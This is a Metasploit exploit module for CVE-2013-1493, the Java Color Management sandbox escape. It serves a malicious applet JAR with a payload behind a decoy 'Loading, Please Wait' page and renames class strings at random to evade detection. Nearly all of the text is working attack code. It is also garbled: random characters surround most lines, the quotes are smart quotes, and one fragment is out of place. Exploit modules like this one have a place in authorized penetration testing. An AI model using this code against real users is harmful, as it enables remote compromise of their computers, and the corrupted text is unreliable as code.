##( ?* [1 Y& n7 | u
1 ~. O' B$ \9 \+ A7 q
# This file is part of the Metasploit Framework and may be subject to
, W: ]/ G/ p3 {# redistribution and commercial restrictions. Please see the Metasploit
3 {% \+ r' Z4 a2 K& @# web site for more information on licensing and terms of use.$ R! O; I$ q% X- i+ k
# http://metasploit.com/
7 F' j# b/ }6 B, \2 c' Q##
/ H+ ?( |. z5 e5 y+ y1 o" Srequire ‘msf/core’
$ o" b1 n; J' wrequire ‘rex’
1 j- z2 h/ ~, o# u: }# m/ E3 Tclass Metasploit3 < Msf::Exploit::Remote
# [ w) P8 k, @, ~) n/ D# ]" VRank = NormalRanking$ \4 t& v- m& k& |3 C* j
include Msf::Exploit::Remote::HttpServer::HTML5 q& Z. {- T$ t# u% _' S& B
include Msf::Exploit::EXE: \& {: }0 P7 V- F& R- q0 Y! u6 y
include Msf::Exploit::Remote::BrowserAutopwn" R2 h; E6 V2 c: B: V ^) Z9 ^8 ?
autopwn_info({ :javascript => false })2 G% c' q: q9 R) x3 p
def initialize( info = {} )
* q6 v7 [3 l6 isuper( update_info( info,
" w* T3 U" p$ L& X‘Name’ => ‘Java CMM Remote Code Execution’,2 G2 b$ j+ V: F# L9 D
‘Description’ => %q{
( ?5 U6 t9 h9 f$ ~7 b/ X& D. OThis module abuses the Color Management classes from a Java Applet to run
+ |: p# q1 ~6 _1 xarbitrary Java code outside of the sandbox as exploited in the wild in February
) }% _- f: l, Dand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41/ @9 y1 g I: D! z( c9 ]
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1, s l* Q! G. r9 ^) R
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
/ `. T- H' K! _/ |- Nwarning in order to run the malicious applet.
, H# i2 k+ _) l2 B},
1 X8 B5 Q; j H7 \‘License’ => MSF_LICENSE,
`8 d* ~% x) Z; C# T) d. c‘Author’ =>
$ m7 }& W6 F1 h( A+ z) w4 P'Unknown', # Vulnerability discovery and Exploit
& U! ?7 }, V5 y! W$ Q'juan vazquez' # Metasploit module (just ported the published exploit)+ s$ u7 y( x1 c" [3 V
],
4 Z" ^7 k7 s, t% Q! N! `( F‘References’ =>
+ h" X! q1 s# B! q) u5 V! y4 F[1 @2 \- R6 t8 }' Q0 l( _) Y
[ 'CVE', '2013-1493' ],3 B) ?( g3 _) }9 F8 a. G
[ 'OSVDB', '90737' ],% S/ W. n) M- t0 Z& E+ E
[ 'BID', '58238' ],4 i2 U& R8 _# g& @8 c4 S- `7 y
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],- E G& G% J0 o- f3 I
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],1 x5 g/ B0 u o# v( j, R/ n8 U8 N
[ 'URL', 'http://pastie.org/pastes/6581034' ] P x0 g) |, p# [5 k
],+ N2 ~+ u) B( e1 F; s; a+ r4 |
‘Platform’ => [ 'win', 'java' ],
+ ?) \6 f5 u6 D @ f2 d‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
/ E, _7 r8 S2 J* d' Q; l3 q‘Targets’ =>
- g: @! g3 j/ r% J: ~[
2 \' N# Y7 c. m( m; W[ 'Generic (Java Payload)',' _" Y. X; m# n- {0 U
{
2 ?8 ~, \8 P; h9 k( {9 z2 u# h'Platform' => 'java',( X) ] `: B6 d$ ~
'Arch' => ARCH_JAVA5 t/ {- a1 |( n( b4 v. A) \
}
2 T1 ^3 h1 E1 O% Y- A. ^],
7 x; X9 f/ K2 E7 e3 c[ 'Windows x86 (Native Payload)',
& H: h$ Z! }; U5 K0 T$ Y{
- ~) C/ X9 j5 @6 V* f/ E: R, y'Platform' => 'win',
9 Q# U/ Y+ R+ d4 M. w( m'Arch' => ARCH_X86
4 `0 s/ V, C/ C4 ]7 l8 h# p8 L) ~} C( I" S* s$ W( N
]. ~1 z. {7 [" c. h' h' a
],+ f4 k5 ^$ Z8 M" }% d) O4 N+ N; v
‘‘DisclosureDate’ => ‘Mar 01 2013′
2 ~6 |# b. p7 `/ A; H))
' `6 ^! q( z# e' m% ~end
# B: g ]7 D, a' h# w* }/ odef setup
" j8 O1 ?' \% l% v3 ypath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
& U- W' p8 N3 f! g. ~@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
5 A0 y" B& h( F9 `! R' l2 U: cpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
J7 j1 A0 J% |4 j" ~6 i; a) R( \@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }' _2 o K* |- P' X2 Z8 t( Y. A
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)- N3 j& R Y. `; T' `2 d
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }4 C2 Q8 k2 s5 e4 D) u
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
0 `' C1 b7 w6 |/ e' \! j@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 e; {; x9 Q! W* S) A@init_class_name = rand_text_alpha(“Init”.length)
! P2 {* l; \( b7 x( ~5 q9 l@init_class.gsub!(“Init”, @init_class_name)2 v% w" a0 }' V0 v/ r
super
2 H' N' o1 I( x0 }# Zend
$ R! z! n& o4 w5 [. o2 Bdef on_request_uri(cli, request) E+ p7 I+ u. n7 R+ B0 a1 T- l3 G
print_status(“handling request for #{request.uri}”)- y5 Z+ L" ?3 u! g- u
case request.uri
" l. a3 [' U) M; ?0 Mwhen /\.jar$/i
) J5 c- o( e1 [% b% y& f, Tjar = payload.encoded_jar
: [9 N& ?1 F& l0 I/ q: `jar.add_file(“#{@init_class_name}.class”, @init_class)
5 i$ o, u4 I, A8 r7 ^jar.add_file(“Leak.class”, @leak_class)3 }) W- D' T1 k+ P- D" _
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
3 h0 ]* s% u8 d" P- l% Zjar.add_file(“MyColorSpace.class”, @color_space_class)9 X5 y1 r7 ^* f& n5 s
DefaultTarget’ => 1,; S, G) G$ _. A
metasploit_str = rand_text_alpha(“metasploit”.length)$ F" O$ q4 X6 ?: A
payload_str = rand_text_alpha(“payload”.length)
9 C e# X1 w7 X5 A; I5 jjar.entries.each { |entry|- Z- @' P( W- m( Y
entry.name.gsub!(“metasploit”, metasploit_str): ?0 {* T0 y; g! T5 N
entry.name.gsub!(“Payload”, payload_str)6 A( B( y1 R9 k, \, Q. `) R6 H' C
entry.data = entry.data.gsub(“metasploit”, metasploit_str)0 a/ I/ J3 X; R7 w, u
entry.data = entry.data.gsub(“Payload”, payload_str)
. ^' \% k$ n3 ]5 R$ h+ U% h}6 j$ f, P8 X0 T- O% M1 D
jar.build_manifest
% V, ^2 r' n$ l% I: W, qsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
- d" W) w1 h# P" W& ^+ Q; Cwhen /\/$/
$ A# |( c: H, Gpayload = regenerate_payload(cli)4 f" @0 ~* u% G* z) t' e: f
if not payload- I3 ]- A) r G
print_error(“Failed to generate the payload.”)
7 g I% B6 C3 r5 Wsend_not_found(cli)% \, G8 u2 R% i2 V5 {
return
5 V/ n; a; e& e9 u4 N$ kend: v# C* \$ z) W- T" \
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })' f( q! M3 e- B8 c# ~0 y2 A" Y/ e
else
" e8 o! r3 T$ L: Y# Q. B8 b/ Q6 O( d `send_redirect(cli, get_resource() + ‘/’, ”)
, d( d8 O$ k+ K. N6 g, [end' n n9 W6 _2 L( m! O$ V8 q
end2 X- u7 n( ~# e0 F; J" L
def generate_html0 {& T; J- f9 J$ }5 ]" A) R
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|0 L% b3 Q6 E) Y; }$ E
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
* \) t' E n W; P0 X; Mhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|; u& {/ [& u7 ]6 K
html += %Q|</applet></body></html>|
# C9 z: y" a8 dreturn html
, Y6 J+ M: ^7 G/ T) Qend; I0 ], m! I; B
end/ D& T, f, \+ o8 Z9 O7 |
end
2 u$ ^1 L# c6 \1 b+ b: A: ? |